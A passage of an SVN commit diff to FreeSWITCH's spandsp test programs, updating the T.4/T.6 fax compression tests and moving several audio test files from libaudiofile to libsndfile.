--- freeswitch/branches/seven/libs/spandsp/tests/t4_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t4_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t4_tests.c,v 1.60 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t4_tests.c,v 1.69 2009/05/16 03:34:45 steveu Exp $
  */
 
 /*! \file */
@@ -43,6 +43,10 @@
 #include <unistd.h>
 #include <memory.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #define IN_FILE_NAME    "../test-data/itu/fax/itutests.tif"
@@ -133,7 +137,6 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-#if 0
 static int row_read_handler(void *user_data, uint8_t buf[], size_t len)
 {
     int i;
@@ -185,22 +188,108 @@
         printf("Oops - '%c' at end of row %d\n", *s, row);
     if (memcmp(buf, ref, len))
     {
-        printf("Failed at row %d\n", row);
+        printf("Test failed at row %d\n", row);
         exit(2);
     }
     return len;
 }
 /*- End of function --------------------------------------------------------*/
-#endif
 
+static int detect_page_end(int bit, int page_ended)
+{
+    static int consecutive_eols;
+    static int max_consecutive_eols;
+    static int consecutive_zeros;
+    static int consecutive_ones;
+    static int eol_zeros;
+    static int eol_ones;
+    static int expected_eols;
+    static int end_marks;
+
+    /* Check the EOLs are added properly to the end of an image. We can't rely on the
+       decoder giving the right answer, as a full set of EOLs is not needed for the
+       decoder to work. */
+    if (bit == -1000000)
+    {
+        /* Reset */
+        consecutive_eols = 0;
+        max_consecutive_eols = 0;
+        consecutive_zeros = 0;
+        consecutive_ones = 0;
+        end_marks = 0;
+
+        eol_zeros = 11;
+        eol_ones = (page_ended == T4_COMPRESSION_ITU_T4_2D)  ?  2  :  1;
+        expected_eols = (page_ended == T4_COMPRESSION_ITU_T6)  ?  2  :  6;
+        return FALSE;
+    }
+
+    /* Monitor whether the EOLs are there in the correct amount */
+    if (bit == 0)
+    {
+        consecutive_zeros++;
+        consecutive_ones = 0;
+    }
+    else if (bit == 1)
+    {
+        if (++consecutive_ones == eol_ones)
+        {
+            if (consecutive_eols == 0  &&  consecutive_zeros >= eol_zeros)
+                consecutive_eols++;
+            else if (consecutive_zeros == eol_zeros)
+                consecutive_eols++;
+            else
+                consecutive_eols = 0;
+            consecutive_zeros = 0;
+            consecutive_ones = 0;
+        }
+        if (max_consecutive_eols < consecutive_eols)
+            max_consecutive_eols = consecutive_eols;
+    }
+    else if (bit == SIG_STATUS_END_OF_DATA)
+    {
+        if (end_marks == 0)
+        {
+            if (max_consecutive_eols != expected_eols)
+            {
+                printf("Only %d EOLs (should be %d)\n", max_consecutive_eols, expected_eols);
+                return 2;
+            }
+            consecutive_zeros = 0;
+            consecutive_eols = 0;
+            max_consecutive_eols = 0;
+        }
+        if (!page_ended)
+        {
+            /* We might need to push a few bits to get the receiver to report the
+                end of page condition (at least with T.6). */
+            if (++end_marks > 50)
+            {
+                printf("Receiver missed the end of page mark\n");
+                return 2;
+            }
+            return 0;
+        }
+        return 1;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 int main(int argc, char *argv[])
 {
+    static const int compression_sequence[] =
+    {
+        T4_COMPRESSION_ITU_T4_1D,
+        T4_COMPRESSION_ITU_T4_2D,
+        T4_COMPRESSION_ITU_T6
+    };
     int sends;
     int page_no;
     int bit;
     int end_of_page;
     int end_marks;
-    int decode_test;
+    int res;
     int compression;
     int compression_step;
     int add_page_headers;
@@ -210,34 +299,45 @@
     char buf[1024];
     uint8_t block[1024];
     const char *in_file_name;
+    const char *decode_file_name;
     int opt;
     int i;
     int bit_error_rate;
     int dump_as_xxx;
     int tests_failed;
+    unsigned int last_pkt_no;
+    unsigned int pkt_no;
+    int page_ended;
+    FILE *file;
 
     tests_failed = 0;
-    decode_test = FALSE;
     compression = -1;
+    compression_step = 0;
     add_page_headers = FALSE;
     restart_pages = FALSE;
     in_file_name = IN_FILE_NAME;
-    min_row_bits = 0;
+    decode_file_name = NULL;
+    /* Use a non-zero default minimum row length to ensure we test the consecutive EOLs part
+       properly. */
+    min_row_bits = 50;
     block_size = 0;
     bit_error_rate = 0;
     dump_as_xxx = FALSE;
-    while ((opt = getopt(argc, argv, "126b:dehri:m:x")) != -1)
+    while ((opt = getopt(argc, argv, "126b:d:ehri:m:x")) != -1)
     {
         switch (opt)
         {
         case '1':
             compression = T4_COMPRESSION_ITU_T4_1D;
+            compression_step = -1;
             break;
         case '2':
             compression = T4_COMPRESSION_ITU_T4_2D;
+            compression_step = -1;
             break;
         case '6':
             compression = T4_COMPRESSION_ITU_T6;
+            compression_step = -1;
             break;
         case 'b':
             block_size = atoi(optarg);
@@ -245,7 +345,7 @@
                 block_size = 1024;
             break;
         case 'd':
-            decode_test = TRUE;
+            decode_file_name = optarg;
             break;
         case 'e':
             bit_error_rate = 0x3FF;
@@ -276,7 +376,7 @@
     memset(&receive_state, 0, sizeof(receive_state));
 
     end_of_page = FALSE;
-    if (decode_test)
+    if (decode_file_name)
     {
         if (compression < 0)
             compression = T4_COMPRESSION_ITU_T4_1D;
@@ -286,7 +386,7 @@
             printf("Failed to init T.4 rx\n");
             exit(2);
         }
-        
+        span_log_set_level(&receive_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
         t4_rx_set_rx_encoding(&receive_state, compression);
         t4_rx_set_x_resolution(&receive_state, T4_X_RESOLUTION_R8);
         //t4_rx_set_y_resolution(&receive_state, T4_Y_RESOLUTION_FINE);
@@ -295,9 +395,11 @@
 
         page_no = 1;
         t4_rx_start_page(&receive_state);
-        while (fgets(buf, 1024, stdin))
+        last_pkt_no = 0;
+        file = fopen(decode_file_name, "r");
+        while (fgets(buf, 1024, file))
         {
-            if (sscanf(buf, "HDLC:  FCD: 06 %x", (unsigned int *) &bit) == 1)
+            if (sscanf(buf, "HDLC:  FCD: 06 %x", &pkt_no) == 1)
             {
                 /* Useful for breaking up T.38 ECM logs */
                 for (i = 0;  i < 256;  i++)
@@ -308,18 +410,43 @@
                         break;
                 }
             }
-            else if (strlen(buf) > 62  &&  sscanf(buf + 62, "Rx %*d: IFP %*x %*x") == 3)
+            else if (sscanf(buf, "HDLC:  %x", &pkt_no) == 1)
             {
+                /* Useful for breaking up HDLC decodes of ECM logs */
+                for (i = 0;  i < 256;  i++)
+                {
+                    if (sscanf(&buf[19 + 3*i], "%x", (unsigned int *) &bit) != 1)
+                        break;
+                    if ((end_of_page = t4_rx_put_byte(&receive_state, bit)))
+                        break;
+                }
+            }
+            else if (strlen(buf) > 62  &&  sscanf(buf + 57, "Rx %d: IFP %x %x", &pkt_no, (unsigned int *) &bit, (unsigned int *) &bit) == 3)
+            {
                 /* Useful for breaking up T.38 non-ECM logs */
+                if (pkt_no != last_pkt_no + 1)
+                    printf("Packet %u\n", pkt_no);
+                last_pkt_no = pkt_no;
                 for (i = 0;  i < 256;  i++)
                 {
-                    if (sscanf(&buf[62 + 29 + 3*i], "%x", (unsigned int *) &bit) != 1)
+                    if (sscanf(&buf[57 + 29 + 3*i], "%x", (unsigned int *) &bit) != 1)
                         break;
                     bit = bit_reverse8(bit);
                     if ((end_of_page = t4_rx_put_byte(&receive_state, bit)))
                         break;
                 }
             }
+            else if (sscanf(buf, "%08x  %02x %02x %02x", (unsigned int *) &bit, (unsigned int *) &bit, (unsigned int *) &bit, (unsigned int *) &bit) == 4)
+            {
+                for (i = 0;  i < 16;  i++)
+                {
+                    if (sscanf(&buf[10 + 3*i], "%x", (unsigned int *) &bit) != 1)
+                        break;
+                    bit = bit_reverse8(bit);
+                    if ((end_of_page = t4_rx_put_byte(&receive_state, bit)))
+                        break;
+                }
+            }
             else if (sscanf(buf, "Rx bit %*d - %d", &bit) == 1)
             {
                 if ((end_of_page = t4_rx_put_bit(&receive_state, bit)))
@@ -329,30 +456,102 @@
                 }
             }
         }
+        fclose(file);
         if (dump_as_xxx)
             dump_image_as_xxx(&receive_state);
         t4_rx_end_page(&receive_state);
         display_page_stats(&receive_state);
-        t4_rx_end(&receive_state);
+        t4_rx_release(&receive_state);
     }
     else
     {
 #if 1
+        printf("Testing image_function->compress->decompress->image_function\n");
+        /* Send end gets image from a function */
+        if (t4_tx_init(&send_state, in_file_name, -1, -1) == NULL)
+        {
+            printf("Failed to init T.4 tx\n");
+            exit(2);
+        }
+        span_log_set_level(&send_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        t4_tx_set_row_read_handler(&send_state, row_read_handler, NULL);
+        t4_tx_set_min_row_bits(&send_state, min_row_bits);
+        t4_tx_set_local_ident(&send_state, "111 2222 3333");
+
+        /* Receive end puts TIFF to a function. */
+        if (t4_rx_init(&receive_state, OUT_FILE_NAME, T4_COMPRESSION_ITU_T4_2D) == NULL)
+        {
+            printf("Failed to init T.4 rx\n");
+            exit(2);
+        }
+        span_log_set_level(&receive_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        t4_rx_set_row_write_handler(&receive_state, row_write_handler, NULL);
+        t4_rx_set_x_resolution(&receive_state, t4_tx_get_x_resolution(&send_state));
+        t4_rx_set_y_resolution(&receive_state, t4_tx_get_y_resolution(&send_state));
+        t4_rx_set_image_width(&receive_state, t4_tx_get_image_width(&send_state));
+
+        /* Now send and receive all the pages in the source TIFF file */
+        page_no = 1;
+        /* If we are stepping around the compression schemes, reset to the start of the sequence. */
+        if (compression_step > 0)
+            compression_step = 0;
+        for (;;)
+        {
+            end_marks = 0;
+            if (compression_step >= 0)
+            {
+                compression = compression_sequence[compression_step++];
+                if (compression_step > 3)
+                    break;
+            }
+            t4_tx_set_tx_encoding(&send_state, compression);
+            t4_rx_set_rx_encoding(&receive_state, compression);
+
+            if (t4_tx_start_page(&send_state))
+                break;
+            t4_rx_start_page(&receive_state);
+            do
+            {
+                bit = t4_tx_get_bit(&send_state);
+                if (bit == SIG_STATUS_END_OF_DATA)
+                {
+                    if (++end_marks > 50)
+                    {
+                        printf("Receiver missed the end of page mark\n");
+                        tests_failed++;
+                        break;
+                    }
+                }
+                end_of_page = t4_rx_put_bit(&receive_state, bit & 1);
+            }
+            while (!end_of_page);
+            t4_tx_end_page(&send_state);
+            t4_rx_end_page(&receive_state);
+            if (compression_step < 0)
+                break;
+        }
+        t4_tx_release(&send_state);
+        t4_rx_release(&receive_state);
+#endif
+#if 1
+        printf("Testing TIFF->compress->decompress->TIFF cycle\n");
         /* Send end gets TIFF from a file */
         if (t4_tx_init(&send_state, in_file_name, -1, -1) == NULL)
         {
             printf("Failed to init T.4 send\n");
             exit(2);
         }
+        span_log_set_level(&send_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
         t4_tx_set_min_row_bits(&send_state, min_row_bits);
         t4_tx_set_local_ident(&send_state, "111 2222 3333");
 
         /* Receive end puts TIFF to a new file. */
         if (t4_rx_init(&receive_state, OUT_FILE_NAME, T4_COMPRESSION_ITU_T4_2D) == NULL)
         {
-            printf("Failed to init T.4 rx\n");
+            printf("Failed to init T.4 rx for '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
+        span_log_set_level(&receive_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
         t4_rx_set_x_resolution(&receive_state, t4_tx_get_x_resolution(&send_state));
         t4_rx_set_y_resolution(&receive_state, t4_tx_get_y_resolution(&send_state));
         t4_rx_set_image_width(&receive_state, t4_tx_get_image_width(&send_state));
@@ -360,8 +559,9 @@
         /* Now send and receive all the pages in the source TIFF file */
         page_no = 1;
         sends = 0;
-        /* Select whether we step round the compression schemes, or use a single specified one. */
-        compression_step = (compression < 0)  ?  0  :  -1;
+        /* If we are stepping around the compression schemes, reset to the start of the sequence. */
+        if (compression_step > 0)
+            compression_step = 0;
         for (;;)
         {
             end_marks = 0;
@@ -378,20 +578,11 @@
             }
             else
             {
-                switch (compression_step)
+                if (compression_step >= 0)
                 {
-                case 0:
-                    compression = T4_COMPRESSION_ITU_T4_1D;
-                    compression_step++;
-                    break;
-                case 1:
-                    compression = T4_COMPRESSION_ITU_T4_2D;
-                    compression_step++;
-                    break;
-                case 2:
-                    compression = T4_COMPRESSION_ITU_T6;
-                    compression_step = 0;
-                    break;
+                    compression = compression_sequence[compression_step++];
+                    if (compression_step > 2)
+                        compression_step = 0;
                 }
                 t4_tx_set_tx_encoding(&send_state, compression);
                 t4_rx_set_rx_encoding(&receive_state, compression);
@@ -400,32 +591,36 @@
                     break;
             }
             t4_rx_start_page(&receive_state);
+            detect_page_end(-1000000, compression);
+            page_ended = FALSE;
             if (block_size == 0)
             {
-                do
+                for (;;)
                 {
                     bit = t4_tx_get_bit(&send_state);
-                    if (bit == SIG_STATUS_END_OF_DATA)
+                    /* Monitor whether the EOLs are there in the correct amount */
+                    if ((res = detect_page_end(bit, page_ended)))
                     {
-                        /* T.6 data does not contain an image termination sequence.
-                           T.4 1D and 2D do, and should locate that sequence. */
-                        if (compression == T4_COMPRESSION_ITU_T6)
-                            break;
-                        if (++end_marks > 50)
+                        tests_failed += (res - 1);
+                        break;
+                    }
+                    if (!page_ended)
+                    {
+                        if (bit_error_rate)
                         {
-                            printf("Receiver missed the end of page mark\n");
-                            tests_failed++;
-                            break;
+                            if ((rand() % bit_error_rate) == 0)
+                                bit ^= 1;
                         }
+                        if (t4_rx_put_bit(&receive_state, bit & 1))
+                            page_ended = TRUE;
                     }
-                    if (bit_error_rate)
-                    {
-                        if ((rand() % bit_error_rate) == 0)
-                            bit ^= 1;
-                    }
-                    end_of_page = t4_rx_put_bit(&receive_state, bit & 1);
                 }
-                while (!end_of_page);
+                /* Now throw junk at the receive context, to ensure stuff occuring
+                   after the end of page condition has no bad effect. */
+                for (i = 0;  i < 1000;  i++)
+                {
+                    t4_rx_put_bit(&receive_state, (rand() >> 10) & 1);
+                }
             }
             else if (block_size == 1)
             {
@@ -434,10 +629,6 @@
                     bit = t4_tx_get_byte(&send_state);
                     if ((bit & 0x100))
                     {
-                        /* T.6 data does not contain an image termination sequence.
-                           T.4 1D and 2D do, and should locate that sequence. */
-                        if (compression == T4_COMPRESSION_ITU_T6)
-                            break;
                         if (++end_marks > 50)
                         {
                             printf("Receiver missed the end of page mark\n");
@@ -458,10 +649,6 @@
                         end_of_page = t4_rx_put_chunk(&receive_state, block, bit);
                     if (bit < block_size)
                     {
-                        /* T.6 data does not contain an image termination sequence.
-                           T.4 1D and 2D do, and should locate that sequence. */
-                        if (compression == T4_COMPRESSION_ITU_T6)
-                            break;
                         if (++end_marks > 50)
                         {
                             printf("Receiver missed the end of page mark\n");
@@ -480,97 +667,19 @@
             t4_rx_end_page(&receive_state);
             sends++;
         }
-        t4_tx_end(&send_state);
-        t4_rx_end(&receive_state);
+        t4_tx_release(&send_state);
+        t4_rx_release(&receive_state);
         /* And we should now have a matching received TIFF file. Note this will only match
            at the image level. TIFF files allow a lot of ways to express the same thing,
            so bit matching of the files is not the normal case. */
         fflush(stdout);
-        sprintf(buf, "tiffcmp -t %s " OUT_FILE_NAME, in_file_name);
-        if (tests_failed)//  ||  system(buf))
+        sprintf(buf, "tiffcmp -t %s %s", in_file_name, OUT_FILE_NAME);
+        if (tests_failed  ||  system(buf))
         {
             printf("Tests failed\n");
             exit(2);
         }
 #endif
-#if 0
-        /* Send end gets TIFF from a function */
-        if (t4_tx_init(&send_state, in_file_name, -1, -1) == NULL)
-        {
-            printf("Failed to init T.4 tx\n");
-            exit(2);
-        }
-        t4_tx_set_row_read_handler(&send_state, row_read_handler, NULL);
-        t4_tx_set_min_row_bits(&send_state, min_row_bits);
-        t4_tx_set_local_ident(&send_state, "111 2222 3333");
-
-        /* Receive end puts TIFF to a function. */
-        if (t4_rx_init(&receive_state, OUT_FILE_NAME, T4_COMPRESSION_ITU_T4_2D) == NULL)
-        {
-            printf("Failed to init T.4 rx\n");
-            exit(2);
-        }
-        t4_rx_set_row_write_handler(&receive_state, row_write_handler, NULL);
-        t4_rx_set_x_resolution(&receive_state, t4_tx_get_x_resolution(&send_state));
-        t4_rx_set_y_resolution(&receive_state, t4_tx_get_y_resolution(&send_state));
-        t4_rx_set_image_width(&receive_state, t4_tx_get_image_width(&send_state));
-
-        /* Now send and receive all the pages in the source TIFF file */
-        page_no = 1;
-        /* Select whether we step round the compression schemes, or use a single specified one. */
-        compression_step = (compression < 0)  ?  0  :  -1;
-        for (;;)
-        {
-            end_marks = 0;
-            /* Add a header line to alternate pages, if required */
-            switch (compression_step)
-            {
-            case 0:
-                compression = T4_COMPRESSION_ITU_T4_1D;
-                compression_step++;
-                break;
-            case 1:
-                compression = T4_COMPRESSION_ITU_T4_2D;
-                compression_step++;
-                break;
-            case 2:
-                compression = T4_COMPRESSION_ITU_T6;
-                compression_step = 0;
-                break;
-            }
-            t4_tx_set_tx_encoding(&send_state, compression);
-            t4_rx_set_rx_encoding(&receive_state, compression);
-
-            if (t4_tx_start_page(&send_state))
-                break;
-            t4_rx_start_page(&receive_state);
-            do
-            {
-                bit = t4_tx_get_bit(&send_state);
-                if (bit == SIG_STATUS_END_OF_DATA)
-                {
-                    /* T.6 data does not contain an image termination sequence.
-                       T.4 1D and 2D do, and should locate that sequence. */
-                    if (compression == T4_COMPRESSION_ITU_T6)
-                        break;
-                    if (++end_marks > 50)
-                    {
-                        printf("Receiver missed the end of page mark\n");
-                        tests_failed++;
-                        break;
-                    }
-                }
-                end_of_page = t4_rx_put_bit(&receive_state, bit & 1);
-            }
-            while (!end_of_page);
-            t4_tx_end_page(&send_state);
-            t4_rx_end_page(&receive_state);
-            break;
-        }
-        t4_tx_end(&send_state);
-        t4_rx_end(&receive_state);
-#endif
-
         printf("Tests passed\n");
     }
     return 0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/testadsi.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/testadsi.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/testadsi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: testadsi.c,v 1.22 2008/05/13 13:17:26 steveu Exp $
+ * $Id: testadsi.c,v 1.23 2009/05/30 15:23:14 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -46,7 +46,7 @@
 
 #include <linux/zaptel.h>
 #include <pthread.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #include <tiffio.h>
 
 #include "unicall.h"
@@ -59,8 +59,8 @@
 #define TRUE (!FALSE)
 
 int caller_mode = FALSE;
-static AFfilehandle rxhandle;
-static AFfilehandle txhandle;
+static SNDFILE *rxhandle;
+static SNDFILE *txhandle;
 
 #if 0
 int adsi_create_message(adsi_tx_state_t *s, uint8_t *msg)
@@ -196,7 +196,7 @@
     for (i = 0;  i < len;  i++)
         pcm_buf[i] = alaw_to_linear(buf[i]);
     /*endfor*/
-    outframes = afWriteFrames(rxhandle,
+    outframes = sf_writef_short(rxhandle,
                               AF_DEFAULT_TRACK,
                               pcm_buf,
                               len);
@@ -254,7 +254,7 @@
             printf("Message put - %d bytes\n", len);
     }
     len = adsi_tx(&(chan_stuff[chan].adsi_tx), pcm_buf, max_len);
-    afWriteFrames(txhandle,
+    sf_writef_short(txhandle,
                   AF_DEFAULT_TRACK,
                   pcm_buf,
                   len);
@@ -563,13 +563,13 @@
     afInitFileFormat(filesetup, AF_FILE_WAVE);
     afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
     rxhandle = afOpenFile("rxadsi.wav", "w", filesetup);
-    if (rxhandle == AF_NULL_FILEHANDLE)
+    if (rxhandle == NULL)
     {
         fprintf(stderr, "    Failed to open adsi audio file\n");
         exit(2);
     }
     txhandle = afOpenFile("txadsi.wav", "w", filesetup);
-    if (txhandle == AF_NULL_FILEHANDLE)
+    if (txhandle == NULL)
     {
         fprintf(stderr, "    Failed to open adsi audio file\n");
         exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/testfax.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/testfax.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/testfax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: testfax.c,v 1.32 2008/05/13 13:17:26 steveu Exp $
+ * $Id: testfax.c,v 1.33 2009/05/30 15:23:14 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -46,7 +46,7 @@
 
 #include <linux/zaptel.h>
 #include <pthread.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #include <tiffio.h>
 
 #include "unicall.h"
@@ -57,8 +57,8 @@
 #include "spandsp.h"
 
 int caller_mode = FALSE;
-static AFfilehandle rxhandle;
-static AFfilehandle txhandle;
+static SNDFILE *rxhandle;
+static SNDFILE *txhandle;
 
 typedef struct
 {
@@ -104,7 +104,7 @@
     int outframes;
 
 #if 0
-    outframes = afWriteFrames(rxhandle,
+    outframes = sf_writef_short(rxhandle,
                               AF_DEFAULT_TRACK,
                               buf,
                               len >> 1);
@@ -149,7 +149,7 @@
     int len;
 
     len = t30_tx(&(chan_stuff[chan].fax), (int16_t *) buf, max_len >> 1);
-    afWriteFrames(txhandle, AF_DEFAULT_TRACK, buf, len);
+    sf_writef_short(txhandle, AF_DEFAULT_TRACK, buf, len);
     if (len > 0)
         len <<= 1;
     return len;
@@ -532,13 +532,13 @@
     afInitFileFormat(filesetup, AF_FILE_WAVE);
     afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
     rxhandle = afOpenFile("rxfax.wav", "w", filesetup);
-    if (rxhandle == AF_NULL_FILEHANDLE)
+    if (rxhandle == NULL)
     {
         fprintf(stderr, "    Failed to open fax audio file\n");
         exit(2);
     }
     txhandle = afOpenFile("txfax.wav", "w", filesetup);
-    if (txhandle == AF_NULL_FILEHANDLE)
+    if (txhandle == NULL)
     {
         fprintf(stderr, "    Failed to open fax audio file\n");
         exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/time_scale_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/time_scale_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/time_scale_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: time_scale_tests.c,v 1.22 2008/07/28 15:14:30 steveu Exp $
+ * $Id: time_scale_tests.c,v 1.24 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page time_scale_tests_page Time scaling tests
@@ -44,10 +44,12 @@
 #include <stdio.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #include "spandsp.h"
 
+#include "spandsp/private/time_scale.h"
+
 #define BLOCK_LEN       160
 
 #define IN_FILE_NAME    "../test-data/local/short_nb_voice.wav"
@@ -55,9 +57,9 @@
 
 int main(int argc, char *argv[])
 {
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
+    SF_INFO info;
     int16_t in[BLOCK_LEN];
     int16_t out[5*(BLOCK_LEN + TIME_SCALE_MAX_SAMPLE_RATE/TIME_SCALE_MIN_PITCH)];
     int frames;
@@ -66,7 +68,6 @@
     int count;
     int max;
     time_scale_state_t state;
-    float x;
     float rate;
     float sample_rate;
     const char *in_file_name;
@@ -95,37 +96,31 @@
             break;
         }
     }
-    if ((inhandle = afOpenFile(in_file_name, "r", 0)) == AF_NULL_FILEHANDLE)
+    if ((inhandle = sf_open(in_file_name, SFM_READ, &info)) == NULL)
     {
-        printf("    Cannot open wave file '%s'\n", in_file_name);
+        printf("    Cannot open audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+    if (info.channels != 1)
     {
-        printf("    Unexpected frame size in wave file '%s'\n", in_file_name);
+        printf("    Unexpected number of channels in audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
-    {
-        printf("    Unexpected number of channels in wave file '%s'\n", in_file_name);
-        exit(2);
-    }
-    sample_rate = afGetRate(inhandle, AF_DEFAULT_TRACK);
+    sample_rate = info.samplerate;
 
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    memset(&info, 0, sizeof(info));
+    info.frames = 0;
+    info.samplerate = sample_rate;
+    info.channels = 1;
+    info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
+    info.sections = 1;
+    info.seekable = 1;
+
+    if ((outhandle = sf_open(OUT_FILE_NAME, SFM_WRITE, &info)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, sample_rate);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-    if ((outhandle = afOpenFile(OUT_FILE_NAME, "w", filesetup)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
-        exit(2);
-    }
 
     if ((time_scale_init(&state, (int) sample_rate, rate)) == NULL)
     {
@@ -135,13 +130,13 @@
     max = time_scale_max_output_len(&state, BLOCK_LEN);
     printf("Rate is %f, longest output block is %d\n", rate, max);
     count = 0;
-    while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, in, BLOCK_LEN)))
+    while ((frames = sf_readf_short(inhandle, in, BLOCK_LEN)))
     {
         new_frames = time_scale(&state, out, in, frames);
-        out_frames = afWriteFrames(outhandle, AF_DEFAULT_TRACK, out, new_frames);
+        out_frames = sf_writef_short(outhandle, out, new_frames);
         if (out_frames != new_frames)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
         if (sweep_rate  &&  ++count > 100)
@@ -158,17 +153,16 @@
             count = 0;
         }
     }
-    if (afCloseFile(inhandle) != 0)
+    if (sf_close(inhandle) != 0)
     {
-        printf("    Cannot close wave file '%s'\n", in_file_name);
+        printf("    Cannot close audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        printf("    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        printf("    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/tone_detect_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/tone_detect_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/tone_detect_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_detect_tests.c,v 1.10 2008/05/13 13:17:26 steveu Exp $
+ * $Id: tone_detect_tests.c,v 1.12 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page tone_detect_tests_page Tone detection tests
@@ -38,8 +38,12 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #define DEC_SAMPLE_RATE     800

Modified: freeswitch/branches/seven/libs/spandsp/tests/tone_generate_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/tone_generate_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/tone_generate_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_generate_tests.c,v 1.20 2008/09/11 15:13:42 steveu Exp $
